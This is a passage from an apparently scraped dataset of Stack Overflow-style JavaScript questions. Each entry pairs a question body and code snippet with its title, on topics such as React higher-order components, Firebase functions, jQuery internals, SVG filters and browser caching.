'' 1 '' > 1 < /li > < li data-char= '' a '' > a < /li > < li data-char= '' e '' > e < /li > < li data-char= '' c '' > c < /li > < li data-char= '' w '' > w < /li > < li data-char= '' 0 '' > 0 < /li > < li data-char= '' 9 '' > 9 < /li > < li data-char= '' g '' > g < /li > < /ol > $ ( `` .columns li '' ) .sort ( sort_li ) .appendTo ( '.columns ' ) ; function sort_li ( a , b ) { return ( $ ( b ) .data ( 'char ' ) ) < ( $ ( a ) .data ( 'char ' ) ) ? 1 : -1 ; }","Sorting list items by data attribute , alphabetically and then numerically" JS : I want to embed my gists ( gist.github ) in my blogger blog . But as explained in this question dynamic views directly do n't support javascript . From the moski 's ( as mentioned in the answer ) blog its possible to embed a gist.What if I want to only embed only one file of my gist ? For example : < script src= '' https : //gist.github.com/3975635.js ? file=regcomp.c '' > < /script >,Gist in blogger dynamic views "JS : I had a lot of trouble to scope my javascript and css files on my rails app . By scoping , I mean : How to deal with java-script and CSS only used in one page or one controller ? I tried some solutions but they were all complicated and not so elegant : I saw some advices like this one : including my .js file directly on my .erb file like so : and then yield that in the application layout . But that means doing one more request to the server in order to get the .js file.I think it is important to stay with only one .js file and one .css file for the application , created by the asset pipelineI saw some other advices like testing if my HTML tag was present on the DOM with the .length method of jquery . That 's still mean testing on every page if on particular tag is present ( knowing it will be present in only one or two pages ) .I found a solution that 's is easy to implement and , in my point of view , elegant . < % content_for : head do % > < script type= '' text/javascript '' > < % end % >",How to scope efficiently javascript et css on a rails appliacation ? "JS : I 'm reading about the mixin pattern in javascript and I encountered this piece of code that I do n't understand : There is actually a typo in the original code ( the uppercase H ) . If I downcase it it works . However , if I actually delete the line everything seems to work the same.Here is the full code : What does SuperHero.prototype = Object.create ( Person.prototype ) ; do ? SuperHero.prototype = Object.create ( Person.prototype ) ; var Person = function ( firstName , lastName ) { this.firstName = firstName ; this.lastName = lastName ; this.gender = `` male '' ; } ; // a new instance of Person can then easily be created as follows : var clark = new Person ( `` Clark '' , `` Kent '' ) ; // Define a subclass constructor for for `` Superhero '' : var Superhero = function ( firstName , lastName , powers ) { // Invoke the superclass constructor on the new object // then use .call ( ) to invoke the constructor as a method of // the object to be initialized . Person.call ( this , firstName , lastName ) ; // Finally , store their powers , a new array of traits not found in a normal `` Person '' this.powers = powers ; } ; SuperHero.prototype = Object.create ( Person.prototype ) ; var superman = new Superhero ( `` Clark '' , '' Kent '' , [ `` flight '' , '' heat-vision '' ] ) ; console.log ( superman ) ; // Outputs Person attributes as well as powers",What does Object.create ( Class.prototype ) do in this code ? "JS : I 'm trying to do something which I thought was quite extremely simple , but not having much luck . I have two long lists of scores to compare , each pair sits in its own div . I 'm on the lookout for a function which I could specify the div IDs , and have the different reflected in the third div . If the figure is positive , apply one class , and if negative , apply another.and in my javascript : I have D3 and JQuery loaded up . The numbers within the columns of divs are dynamically generated through other functions , so I ca n't hard code the styling . < style > .positive { color : green ; } .negative { color : red ; } < /style > < div id = `` score '' > 50 < /div > < div id = `` benchmark '' > 30 < /div > < div id = `` diff '' > < /div > $ ( window ) .ready ( function ( ) { $ ( ' # diff ' ) .html ( diff ) ; } ) ; var diff = calc ( `` score '' , `` benchmark '' ) ; function calc ( divID1 , divID2 ) { div1 = document.getElementById ( divID1 ) ; metric = div1.innerHTML ; div2 = document.getElementById ( divID2 ) ; benchmark = div2.innerHTML ; c = Math.abs ( a ) - Math.abs ( b ) ; // this is the difference here return String ( c ) ; } ;",Calculate difference between 2 numbers within HTML and apply a css class "JS : When I use this code in the console : It returns a list of Averages , each of which displays text on the page : How would I go about changing the text of all of these to `` 0 '' ? I 've already tried : document.querySelectorAll ( `` a.pointer [ title='Average ' ] '' ) < a class= '' pointer '' title= '' Average '' onclick= '' showScoretab ( this ) '' > 421.95 < /a > < a class= '' pointer '' title= '' Average '' onclick= '' showScoretab ( this ) '' > 225.02 < /a > < a class= '' pointer '' title= '' Average '' onclick= '' showScoretab ( this ) '' > 292.51 < /a > document.querySelectorAll ( `` a.pointer [ title='Average ' ] '' ) .textContent = `` 0 '' ; document.querySelectorAll ( `` a.pointer [ title='Average ' ] '' ) .innerHTML = `` 0 '' ; document.querySelectorAll ( `` a.pointer [ title='Average ' ] '' ) .text = `` 0 '' ;",How to change text of nodelist "JS : I have a small presentation component like this : And then I have three HOCs I would like to use to decorate MyList : Like this : Unfortunately , I do n't know how to change the state of WithData from within WithLowercase or WithUppercase . How do you expose the state of one HOC to the other HOCS in the chain ? function MyList ( { data , uppercaseMe , lowercaseMe } ) { return < ul > { data.map ( item = > < li > { item } - < button onClick= { ( ) = > uppercaseMe ( item ) } > Uppercase me ! < /button > < button onClick= { ( ) = > lowercaseMe ( item ) } > Lowercase me ! < /button > < /li > ) } < /ul > ; } const WithData = ( Component ) = > { return class extends React.Component { constructor ( props ) { super ( props ) ; this.state= { data : [ 'one ' , 'two ' , 'three ' , 'four ' , 'five ' ] } ; } ; render ( ) { return < Component { ... this.props } data= { this.state.data } / > ; } } } ; const WithUppercase = ( Component ) = > { return class extends React.Component { uppercaseMe = ( item ) = > { // how to access WithData state from here ? console.log ( item.toUpperCase ( ) ) ; } ; constructor ( props ) { super ( props ) ; } ; render ( ) { return < Component { ... this.props } uppercaseMe= { this.uppercaseMe } / > ; } } } ; const WithLowercase = ( Component ) = > { return class extends React.Component { lowercaseMe = ( item ) = > { // how to access WithData state from here ? console.log ( item.toLowerCase ( ) ) ; } ; constructor ( props ) { super ( props ) ; } ; render ( ) { return < Component { ... this.props } lowercaseMe= { this.lowercaseMe } / > ; } } } ; const ComposedList = WithLowercase ( WithUppercase ( WithData ( MyList ) ) ) ;",How to make React HOC - High Order Components work together ? "JS : We noticed Chrome caches files locally and does n't even send a request to our server to check if there 's a newer version of the javascript file.Example of HTTP response headers for a js file that Google cached : Is it valid that Chrome cached the file ? There 's no Cache-control header or something that declares that the file can be cached locally , it only has ETag and Last-Modified.BTWIs there a way ( maybe a header ) to instruct Chrome to check if the cached file has changed without appending version to the file name ? Setting no-cache is not an option since I do want it to be cached , but I want to use the ETag and Last-Modified headers as it should . Accept-Ranges : bytesAccess-Control-Allow-Headers : Content-TypeAccess-Control-Allow-Methods : GET , POST , PUT , DELETE , OPTIONSAccess-Control-Allow-Origin : *Content-Encoding : gzipContent-Length:5479Content-Type : application/javascriptDate : Tue , 12 Jan 2016 22:46:07 GMTETag : '' 7d68e1ceb647d11:0 '' Last-Modified : Tue , 05 Jan 2016 12:44:25 GMTServer : Microsoft-IIS/8.5Vary : Accept-Encodingx-robots-tag : noindex",Does Chrome violate the standards in caching ? "JS : I 've been stuck on this for months . I have removed some minor details from the function but nothing major . I have this https cloud function that ends a session and then uses endTime and startTime to calculate bill which is then returned to the client.startTime is retrived from the realtime firebase database ( which the session starter function put there ) .My code snippet : When its first called . It does all the calculations correctly but responds with a 304 . So ( I think the client ) resends the request and the function is called again but since session is destroyed so it can not calculate startTime.Why is it that when its first called , even though all the calculations happen correctly it returns a 304 and not a 200 ? This problem does n't happen all the time . It usually happens when this function is called after a long time but I 'm not certain with that . I do n't know what causes this.Helper functions I 've used : When function end first time the text payload is Function execution took 794 ms , finished with status code 304When it runs the second time ( where it can not get startTime cause its been removed in first run . There should n't be a second run in the first place . ) , the payload text is Function execution took 234 ms , finished with status code 200 ( its 200 but return NaN becuase it can not do calculation without startTime.EDIT : As some of you asked me to tell how the the function is being called : Its being called from and android app using Volley . The parameters are assured to not be null . The code segment to call that function is : UPDATE : @ tuledev helped fix the 304 with a work around but the problem is still here . Even when the status code is 200 the cloud function is somehow called again and I get a NaN bill . At this point I do n't know what 's causing this . exports.endSession = functions.https.onRequest ( async ( req , res ) = > { console.log ( `` endSession ( ) called . '' ) if ( req.method == 'GET ' ) { bid = req.query.bid session_cost = req.query.sessioncost } else { bid = req.body.bid session_cost = req.body.sessioncost } start_time_ref = admin.database ( ) .ref ( `` /online_sessions/ '' ) .child ( bid ) .child ( `` start_time '' ) start_time_snapshot = await start_time_ref.once ( 'value ' ) console.log ( `` start_time_snapshot : `` +start_time_snapshot.val ( ) ) start_time_snapshot = moment ( start_time_snapshot.val ( ) , 'dddd MMMM Do YYYY HH : mm : ss Z ' ) ; endDateTime = getDateTime ( ) console.log ( `` startTime : `` + start_time_snapshot.toString ( ) ) console.log ( `` endTime : `` + endDateTime.toString ( ) ) hour_difference = getHourDifference ( start_time_snapshot , endDateTime ) bill = ride_cost * Math.ceil ( hour_difference ) console.log ( `` bill : `` +bill ) var s_phonesSessionlinks_ref = admin.database ( ) .ref ( '/sSessionlinks/ ' ) sSessionlinks_snapshot = await sSessionlinks_ref.once ( 'value ' ) sSessionlinks_snapshot.forEach ( ( sid ) = > { if ( sid.val ( ) == bid ) { s_phone = sid.key } } ) s_fcm_token_ref = admin.database ( ) .ref ( `` /s/ '' ) .child ( s_phone ) .child ( `` FCM '' ) s_fcm_token_snapshot = await s_fcm_token_ref.once ( 'value ' ) try { // telling another client that session has ended . await admin.messaging ( ) .send ( { data : { type : `` sessionCompleted '' , bill : bill.toString ( ) } , token : s_fcm_token_snapshot.val ( ) } ) } catch ( error ) { } //deleting this session from online sessionsonline_session_ref = admin.database ( ) .ref ( '/online_sessions/ ' ) .child ( bid ) await online_session_ref.remove ( ) //puting this session as availableavailable_session_ref = admin.database ( ) .ref ( '/available_sessions/ ' ) json = { } json [ bid ] = s_phoneawait available_session_ref.update ( json ) // session made availableres.status ( 200 ) .send ( bill.toString ( ) ) // here it *sometimes* returns 304 and then restarts but since i 've already removed online_session_ref I can not get startTime again because its removed with online_sessions so it fails . // return } ) function getHourDifference ( s , e ) { return moment.duration ( e.diff ( s ) ) .asHours ( ) } function getDateTime ( ) { d = moment.utc ( ) .utcOffset ( '+0530 ' ) return d } // Setting the button 's listeners . endSessionButton.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View v ) { progressDialog = new SweetAlertDialog ( getContext ( ) , SweetAlertDialog.PROGRESS_TYPE ) ; progressDialog.getProgressHelper ( ) .setBarColor ( Color.parseColor ( `` # A5DC86 '' ) ) ; progressDialog.setTitleText ( `` Ending session ... '' ) ; AlertDialog endDialog = new AlertDialog.Builder ( getContext ( ) ) .create ( ) ; endDialog.setTitle ( `` End Session ? `` ) ; Log.e ( `` sessioncost '' , String.valueOf ( session_cost ) ) ; endDialog.setButton ( Dialog.BUTTON_POSITIVE , `` Yes '' , new DialogInterface.OnClickListener ( ) { @ Override public void onClick ( DialogInterface dialog , int which ) { progressDialog.show ( ) ; // Instantiate the RequestQueue . RequestQueue queue = Volley.newRequestQueue ( getContext ( ) ) ; String url = `` https : //us-central1-something-something.cloudfunctions.net/endSession ? bid= '' + bid + `` & sessioncost= '' + session_cost ; Log.e ( `` end sesion button '' , url ) ; // Request a string response from the provided URL . StringRequest endSessionRequest = new StringRequest ( Request.Method.GET , url , new Response.Listener < String > ( ) { @ Override public void onResponse ( final String response ) { progressDialog.dismiss ( ) ; Toast.makeText ( getContext ( ) , `` Session Completed '' , Toast.LENGTH_LONG ) .show ( ) ; progressDialog = new SweetAlertDialog ( getContext ( ) , SweetAlertDialog.SUCCESS_TYPE ) ; progressDialog.getProgressHelper ( ) .setBarColor ( Color.parseColor ( `` # A5DC86 '' ) ) ; progressDialog.setTitleText ( `` Session Completed : Bill '' ) ; progressDialog.setContentText ( `` Please pay ? '' + response + `` to s. '' ) ; progressDialog.setCancelable ( false ) ; progressDialog.show ( ) ; changeState ( ' 1 ' ) ; bill_in_paise = Float.parseFloat ( response ) * 100 ; Log.e ( `` bill '' , bill_in_paise.toString ( ) ) ; progressDialog.setConfirmClickListener ( new SweetAlertDialog.OnSweetClickListener ( ) { @ Override public void onClick ( SweetAlertDialog sweetAlertDialog ) { sweetAlertDialog.dismiss ( ) ; Intent intent = new Intent ( getContext ( ) , PaymentActivity.class ) ; intent.putExtra ( `` amt '' , bill_in_paise.toString ( ) ) ; startActivityForResult ( intent , REQUEST_CODE ) ; } } ) ; } } , new Response.ErrorListener ( ) { @ Override public void onErrorResponse ( VolleyError error ) { Toast.makeText ( getContext ( ) , error.toString ( ) , Toast.LENGTH_LONG ) .show ( ) ; } // onErrorResnponse - END } ) ; // Add the request to the RequestQueue . Cuz volley is asyc af . queue.add ( endSessionRequest ) ; // VOLLEY REQUEST - END } } ) ; endDialog.setButton ( Dialog.BUTTON_NEGATIVE , `` No '' , new DialogInterface.OnClickListener ( ) { @ Override public void onClick ( DialogInterface dialog , int which ) { Toast.makeText ( getContext ( ) , `` Session not cancelled. `` + which , Toast.LENGTH_LONG ) .show ( ) ; } } ) ; endDialog.show ( ) ; } } } ) ; // endSessionButton onclick - end",Firebase cloud function returns 304 error and then restarts "JS : I was searching about isolating the Right-most bit stuff in binary : And I got this solution : so : But now , I want to find the magnitude of a number by finding the left most digit ( not the sign though ... ) How can I elaborate the solution of mine to find the most left-bit ? examples : 10111100 01000100 y = x & ( -x ) 10111100 ( x ) & 01000100 ( -x ) -- -- -- -- 00000100",Isolate the leftmost 1-bit "JS : To have two strokes and blur on an svg polygon or circle I have created a filter which does it , although the second `` stroke '' ( created with the filter ) gets clipped or is n't like a perfect circle . Any idea how to solve this issue the right way ? < svg height= '' 500 '' width= '' 400 '' > < defs > < filter id= '' select-highlight '' width= '' 200 % '' height= '' 200 % '' x= '' -50 % '' y= '' -50 % '' > < feOffset in= '' SourceGraphic '' dx= '' 0 '' dy= '' 0 '' result= '' offset '' > < /feOffset > < feMorphology in= '' offset '' result= '' offsetmorph '' operator= '' dilate '' radius= '' 2 '' > < /feMorphology > < feFlood flood-color= '' white '' > < /feFlood > < feComposite operator= '' in '' in2= '' offsetmorph '' result= '' stroke '' > < /feComposite > < feGaussianBlur stdDeviation= '' 5 '' result= '' offsetblur '' > < /feGaussianBlur > < feFlood flood-color= '' # 4881D7 '' > < /feFlood > < feComposite operator= '' in '' in2= '' offsetblur '' result= '' blur '' > < /feComposite > < feMerge > < feMergeNode in= '' blur '' > < /feMergeNode > < feMergeNode in= '' stroke '' > < /feMergeNode > < feMergeNode in= '' SourceGraphic '' > < /feMergeNode > < /feMerge > < /filter > < /defs > < g transform= '' translate ( 50,50 ) scale ( 3 ) '' > < polygon points= '' 22,0 44,10 44,34 22,44 0,34 0,10 '' fill= '' # e6a6d5 '' stroke= '' # 4881D7 '' stroke-width= '' 2 '' filter= '' url ( # select-highlight ) '' > < /polygon > < /g > < g transform= '' translate ( 50,250 ) scale ( 3 ) '' > < circle cx= '' 22 '' cy= '' 22 '' r= '' 22 '' fill= '' # b6ccef '' stroke= '' # 4881D7 '' stroke-width= '' 2 '' filter= '' url ( # select-highlight ) '' > < /circle > < /g > < /svg >",SVG feOffset filter enlarge/scale "JS : At the minute I find myself stuck trying to flatten a Uint8ClampedArray.The starting array structure is data = [ 227 , 138 , 255… ] and after creating an array from that of the like enc = [ Uint8ClampedArray [ 900 ] , Uint8ClampedArray [ 900 ] , Uint8ClampedArray [ 900 ] ... ] I try to flatten it . I tried many methods / solutions for that but no one seems to work : the MDN suggested methodwith concatand through a functionbut no joy so far , it keeps returning the array as it is . Anyone can point me in the right direction and explain why is that ? -EDIT-Bottom line : I need it to return a regular Array object , like the starting one not typed . var flattened = [ [ 0 , 1 ] , [ 2 , 3 ] , [ 4 , 5 ] ] .reduce ( function ( a , b ) { return a.concat ( b ) ; } , [ ] ) ; data = [ ] .concat.apply ( [ ] , enc ) ; function flatten ( arr ) { return arr.reduce ( function ( flat , toFlatten ) { return flat.concat ( Array.isArray ( toFlatten ) ? flatten ( toFlatten ) : toFlatten ) ; } , [ ] ) ; }",How to flatten a clamped array "JS : I am using a particular API , which has an image url convention like : https : //us.battle.net/static-render/us/illidan/249/96749817-avatar.jpg ? alt=wow/static/images/2d/avatar/6-0.jpgAs per convention , the server will redirect to an alternate thumbnail if the exact image is not found . The problem is - when redirecting , the server redirects to http , even if original call is made via https . My page that makes use of these urls is using https , and I end up getting warnings whenever there is such a redirect.Is there an easy way in javascript/html using which I can force the use of https urls even if server is redirecting to http ? One option perhaps is to load via javascript and intercept the redirect , change the protocol to https , etc , but that looks a bit complex.As test code , an html page with below code suffices ( must be loaded over https to see the issue ) : Note : The server behaviour might have changed since the question was first asked , but I am still leaving the code as is because it is sufficient to understand the issue . < html > < head > < title > Some title < /title > < /head > < body > < img src='https : //us.battle.net/static-render/us/illidan/249/96749817-avatar.jpg ? alt=wow/static/images/2d/avatar/6-0.jpg ' > < /body > < /html >",Loading an HTTPS image url that may redirect to HTTP "JS : I know this is not idiomatic React , but I 'm working on a React component ( an inverse scrollview ) which needs to get notified of downstream virtual DOM changes both before they are rendered and after they are rendered.This is a little hard to explain so I made a JSFiddle with a starting point : https : //jsfiddle.net/7hwtxdap/2/My goal is to have the log look like : I 'm aware that React sometimes batches DOM changes and that 's fine ( i.e . the log events could be before update ; rendered big ; rendered big ; after update ; ... ) -- important part is that I am actually notified before and after the DOM changes.I can manually approximate the behavior by specifying callbacks , as done here : https : //jsfiddle.net/7hwtxdap/4/ . However , this approach does not scale—I need , for example , to have events bubble from descendents rather than children ; and would rather not have to add these kind of event handlers to every component I use.Use case : I 'm working on making an `` inverted scrolling component '' for messages ( where , when new elements are added or existing elements change size , the basis for scroll change is from the bottom of the content rather than the top ala every messaging app ) which has dynamically modified children ( similar to the < MyElement / > class but with variable height , data from ajax , etc ) . These are not getting data from a Flux-like state store but rather using a pub-sub data sync model ( approximated pretty well with the setTimeout ( ) ) .To make inverse scrolling work , you need to do something like this : Importantly to this design , I 'd like to be able to wrap the element around other elements that are not `` inverted scrolling aware '' ( i.e . do not have to have special code to notify the inverted scrolling handler that they have changed ) . Begin logrenderrendered smallrendered smallrendered smallbefore updaterendered bigafter updatebefore updaterendered bigafter updatebefore updaterendered bigafter update anyChildrenOfComponentWillUpdate ( ) { let m = this.refs.x ; this.scrollBottom = m.scrollHeight - m.scrollTop - m.offsetHeight ; } anyChildrenOfComponentDidUpdate ( ) { let m = this.refs.x ; m.scrollTop = m.scrollHeight - m.offsetHeight - this.scrollBottom ; }",Bubbling componentWillUpdate and componentDidUpdate "JS : I 'm using bluebird to design some nodejs api wrapper around an http service . Many of the functions in this wrapper are asynchronous and so it makes a lot of sense to return promises from these implementation . My colleague has been working on the project for a few days now and interesting pattern is emerging , he is also returning promises from synchronously implemented functions.Example : I can see how this could be useful if later on the implementation needs to be made asynchronous , as you would n't have to refactor the call sites . I guess it 's also nice that all methods are consistently `` async '' , but I 'm not sure how awesome that exactly is.Is this considered a bad practice , are there any reasons why we should n't do this ? function parseArray ( someArray ) { var result ; // synchronous implementation return Promise.resolve ( result ) ; }",Is it useful to always return a promise "JS : Things worked okay is Firefox 10.x but with the upgrade to Firefox 11 has thrown up a problem.I use but in FF11 the failure callback is not executed when the user denies sharing location by selecting `` Not Now '' .Any suggestions ? navigator.geolocation.getCurrentPosition ( success , failure )",Firefox 11 and GeoLocation denial callback "JS : Basically i have to test this below function , where i 'm reading from text filei 'm stuck in writing the unit test cases for reading fileHow to write unit test for filereader for reading the file ? PS : i 'm new to unit testing using karma $ window.resolveLocalFileSystemURL ( cordova.file.dataDirectory , function ( dir ) { var path = 'somefile.txt ' ; dir.getFile ( path , { create : true } , function ( file ) { file.file ( function ( file ) { var reader = new FileReader ( ) ; reader.onloadend = function ( ) { resolve ( this.result ) ; } reader.readAsText ( file ) ; } ) ; } , error ) ; } , error ) ; describe ( 'get data from file ' , function ( ) { it ( 'should read the files from the data ' , function ( ) { var syncFile = 'somefile.txt ' ; expect ( ) .toBe ( ) ; } ) ; } ) ;",Angular Karma Jasmine - test function "JS : I need to generate unique id 's for multiple sentences in a longer narrative ( where multiple users can be performing the same action , at the same time , on different machines ) . I considered doing new Date ( ) .getTime ( ) ( and perhaps concatenating a username ) but as the id 's were generated in a loop whilst iterating over the sentences , I found duplicates were created ( as generation could occur at the same millisecond ) . So I am currently playing around with : It occurred to me though ( admittedly , as someone who has not pondered unique/random/crypto issues much ) , that perhaps joining three random numbers is n't any more random that one random number ? Is generating and concatenating 3 Math.random ( ) values more random than 1 Math.random ( ) value ? This answer ( https : //security.stackexchange.com/a/124003 ) states : If the random generator really produces random data then it will not matter.But I 'm not sure how that applies to the usage of Math.random ( ) . Edit : Scenario is client side on web and not for security , just to ensure that each sentence has a unique id in the database . Edit : I ended up implementing : From : https : //stackoverflow.com/a/105074/1063287Also see comment on that answer : Actually , the RFC allows for UUIDs that are created from random numbers . You just have to twiddle a couple of bits to identify it as such . See section 4.4 . Algorithms for Creating a UUID from Truly Random or Pseudo-Random Numbers : rfc-archive.org/getrfc.php ? rfc=4122 var random1 = Math.floor ( ( Math.random ( ) * 10000 ) + 1 ) .toString ( 36 ) ; var random2 = Math.floor ( ( Math.random ( ) * 10000 ) + 1 ) ; var random3 = Math.floor ( ( Math.random ( ) * 10000 ) + 1 ) ; var id = random1 + random2 + random3 ; // generates things like : // 1h754278042// 58o83798349// 3ls28055962 function guid ( ) { function s4 ( ) { return Math.floor ( ( 1 + Math.random ( ) ) * 0x10000 ) .toString ( 16 ) .substring ( 1 ) ; } return s4 ( ) + s4 ( ) + '- ' + s4 ( ) + '- ' + s4 ( ) + '- ' + s4 ( ) + '- ' + s4 ( ) + s4 ( ) + s4 ( ) ; } var id = guid ( ) ;",Is generating and concatenating 3 Math.random ( ) values more random than 1 Math.random ( ) value ? "JS : I am working on creating my own callback functions and higher order function groups . I am stuck on replicating the underscore reduce function or ._reduce function . Can someone help me understand how it works underneath the hood it has been a few days for me and I am stumped . Here is what I have so far . Please understand I am not utilizing the underscore library , I am trying to replicate it so that I can further my understanding on higher order functions . Thanks . var reduce = function ( collection , iterator , accumulator ) { var iterator = function ( startPoint , combiner ) { for ( var i = 0 ; i < combiner.length ; i++ ) { startPoint += combiner [ i ] ; } return iterator ( accumulator , collection ) ; }",Creating the underscore reduce function from scratch JS : I 'm trying to learn about middleware for promises through the react redux docs but do n't understand the then part below : How does the then know what to dispatch ? The action was n't passed in as an argument like so I do n't understand how dispatch receives the action . const vanillaPromise = store = > next = > action = > { if ( typeof action.then ! == 'function ' ) { return next ( action ) } return Promise.resolve ( action ) .then ( store.dispatch ) } return Promise.resolve ( action ) .then ( function ( action ) { store.dispatch ( action } ),How does react redux promise middleware send the resulting action to the dispatch ? "JS : Since React Hooks , I have decided to let go of React class components . I 'm only dealing with hooks and functional components now.Simple question : I understand the difference between using an arrow function instead of a regular function inside of a class body . The arrow function would automatically bind ( lexical this ) to the instance of my class and I do n't have to bind it in the constructor . This is nice.But since I 'm not dealing with classes anymore , I would like to know what is the difference of doing the following inside of a functional component : QUESTIONBoth works fine . Is there a difference in performance ? Should I favor one way instead of the other ? They 're both recreated on every render , correct ? NOTE ON POSSIBLE DUPLICATESI really do n't think this is a duplicate question . I know there are plenty of questions about the difference between arrows and regulars , but I want to know from the perspective of a React functional component and how React handles with it . I 've looked around and did n't find one.CODE SNIPPET FOR TESTING function App ( ) { // REGULAR FUNCTION function handleClick1 ( ) { console.log ( 'handleClick1 executed ... ' ) ; } // ARROW FUNCTION const handleClick2 = ( ) = > { console.log ( 'handleClick2 executed ... ' ) ; } return ( < React.Fragment > < div className= { 'div1 ' } onClick= { handleClick1 } > Div 1 - Click me < /div > < div className= { 'div2 ' } onClick= { handleClick2 } > Div 2 - Click me < /div > < /React.Fragment > ) ; } function App ( ) { function handleClick1 ( ) { console.log ( 'handleClick1 executed ... ' ) ; } const handleClick2 = ( ) = > { console.log ( 'handleClick2 executed ... ' ) ; } return ( < React.Fragment > < div className= { 'div1 ' } onClick= { handleClick1 } > Div 1 - Click me < /div > < div className= { 'div2 ' } onClick= { handleClick2 } > Div 2 - Click me < /div > < /React.Fragment > ) ; } ReactDOM.render ( < App/ > , document.getElementById ( 'root ' ) ) ; .div1 { border : 1px solid blue ; cursor : pointer ; } .div2 { border : 1px solid blue ; cursor : pointer ; } < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/react/16.8.3/umd/react.production.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/react-dom/16.8.3/umd/react-dom.production.min.js '' > < /script > < div id= '' root '' > < /div >",What is the difference between arrow functions and regular functions inside React functional components ( no longer using class components ) ? "JS : This is my code : For example , I want when hovering on r , the color of r to be orange and no other letters . $ ( document ) .ready ( function ( ) { var letters = $ ( ' p ' ) .text ( ) ; for ( var letter of letters ) { $ ( letter ) .wrap ( `` < span class= ' x ' > < /span > '' ) ; } } ) .x : hover { color : orange ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js '' > < /script > < p > Hello World ! < /p >",How to change color of letter on mouse hover in JavaScript "JS : Recently I was looking into Firefox Add-on Builder SDK sources , and stumbled on such constants declaration : I could find information about CommonJS Modules , but left part of this assignment slightly confuses me , since it must be language specific , and I could n't google anything on that.Can someone point me to some specification/draft that explains what 's going on here ? const { getCodeForKey , toJSON } = require ( `` ../../keyboard/utils '' ) ;",Constant declaration with block "JS : I am passing in a jQuery object into a function from another file via an array like the following : selectedStoreDocument should be a jQuery object , however Visual Studio Intellisense will never recognize it as such . I tried adding extending selectedStoreDocument with $ .extend : However , extending selectedStoreDocument wiped out all of my jQuery methods ( .each , .find , etc . ) .How can I get selectedStoreDocument to appear as a jQuery object in IntelliSense ? Note that I am working in Visual Studio 2010 . $ ( document ) .bind ( `` loadStoreDisplayCallGoals '' , function ( source , urlParams ) { var selectedStoreDocument = urlParams [ `` storeDocument '' ] ; } // cast selectedStoreDocument to a jQuery type $ .extend ( selectedStoreDocument , $ ) ;",Mimicking Casting with Visual Studio 's JavaScript IntelliSense "JS : We are developing components and when using them , we would like to use the same mechanism like for DOM nodes to conditionally define attributes . So for preventing attributes to show up at all , we set the value to null and its not existing in the final HTML output . Great ! Now , when using our own components , this does not work . When we set null , we actually get null in the components @ Input as the value . Any by default set value will be overwritten . So , whenever we read the type in the component , we get null instead of the 'default ' value which was set . I tried to find a way to get the original default value , but did not find it . It is existing in the ngBaseDef when accessed in constructor time , but this is not working in production . I expected ngOnChanges to give me the real ( default ) value in the first change that is done and therefore be able to prevent that null is set , but the previousValue is undefined . We came up with some ways to solve this : defining a default object and setting for every input the default value when its nulladdressing the DOM element in the template again , instead of setting null defining set / get for every input to prevent null settingbut are curious , if there are maybe others who have similar issues and how it got fixed . Also I would appreciate any other idea which is maybe more elegant . Thanks ! < button [ attr.disabled ] = '' condition ? true : null '' > < /button > ... @ Component ( { selector : 'myElement ' , templateUrl : './my-element.component.html ' } ) export class MyElementComponent { @ Input ( ) type : string = 'default ' ; ... < myElment [ type ] = '' condition ? 'something ' : null '' > < /myElement > < myElement # myelem [ type ] = '' condition ? 'something ' : myelem.type '' > < /myElement > _type : string = 'default ' ; @ Input ( ) set type ( v : string ) { if ( v ! == null ) this._type = v ; } get type ( ) { return this._type ; }",Angular : How to get default @ Input value ? "JS : Currently working with Primefaces 3.4.2 and we have noticed that if you navigate through our app using ajax , without reloading the page than we start to use a lot of memory . Currently using a program called CCDump to analyze the memory in firefox and noticed we where holding on to a lot of zombie dom objects . Narrowed down to focus on one object that is created by the following primefaces selectBooleanCheckboxAnd I am seeing hundreds of elements of this instance when I run the CC Analysis . If I `` Show Graph '' on one of the elements I get the following : The other thing I notice is that after navigating the application for a while I end up with hundereds javax.faces.resource/jquery/jquery.js.xhtml ? ln=primefaces/eval/seq/xx in the firebug script tabI think that there is a listener that is not getting deallocated that is connected to the div created by the p : selectBooleanCheckbox and I just wanted to know how I can release this object after reload that section of the page with ajax . < p : selectBooleanCheckbox id= '' compareChkbx '' value= '' # { cc.attrs.xProd.selected } '' styleClass= '' selectBooleanCheckbox '' rendered= '' # { dto.size > 1 } '' > < p : ajax event= '' change '' oncomplete= '' radioButtonSelected ( ) '' listener= '' # { compareBean.onClickCompare ( cc.attrs.xProd , cc.attrs.dto.partTerminology.partTerminologyId ) } '' update= '' : hform : lookupResults : pageInfo : hform : compareProducts : compareGroup @ this '' process= '' @ this '' / > < /p : selectBooleanCheckbox > FragmentOrElement ( xhtml ) input id='lookupResults : CatResultList:0 : aapPartType : list-by-cat:22 : aapProd : aapProd : compareChkbx_input ' http : //localhost:8080/epcfe-web/main.xhtml JS Object ( HTMLInputElement ) FragmentOrElement ( xhtml ) div class='ui-helper-hidden-accessible ' http : //localhost:8080/epcfe-web/main.xhtml FragmentOrElement ( xhtml ) div id='lookupResults : CatResultList:0 : aapPartType : list-by-cat:22 : aapProd : aapProd : compareChkbx ' class='ui-chkbox ui-widget selectBooleanCheckbox ' http : //localhost:8080/epcfe-web/main.xhtml nsChildContentList nsEventListenerManager",Primefaces Performance questions "JS : I want to have a jQuery dynamic menu that navigates to the < a > < /a > tags and the one that include with the page URL.In this code , there is a color change in all menus , which should change the color of the menu according to the page 's address . $ ( 'ul.nav.navbar-nav.side-nav.nicescroll-bar li ' ) .find ( ' a ' ) .each ( function ( ) { var text = $ ( this ) .attr ( `` href '' ) ; if ( window.location.href.includes ( text ) ) { $ ( 'ul.nav.navbar-nav.side-nav.nicescroll-bar li a ' ) .addClass ( 'active ' ) } else { } } ) ; < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < ul class= '' nav navbar-nav side-nav nicescroll-bar '' style= '' overflow : hidden ; width : auto ; height : 100 % ; '' > < li > < a href= '' home '' > home < /a > < /li > < li > < a href= '' dashboard '' > dashboard < /a > < /li > < li > < a href= '' base '' > base < /a > < /li > < li > < a href= '' test '' > test < /a > < /li > < /ul >",How to add specific class to anchor tag has href equal to URL using jquery ? "JS : I am looking into how jQuery source code works , I understand the jQuery object just forwards a call to jQuery.fn.init where jQuery.fn is just a reference to jQuery.prototype.Then in the source code , there is this line : There is a comment to explain what the code does but I still ca n't understand it.Can someone 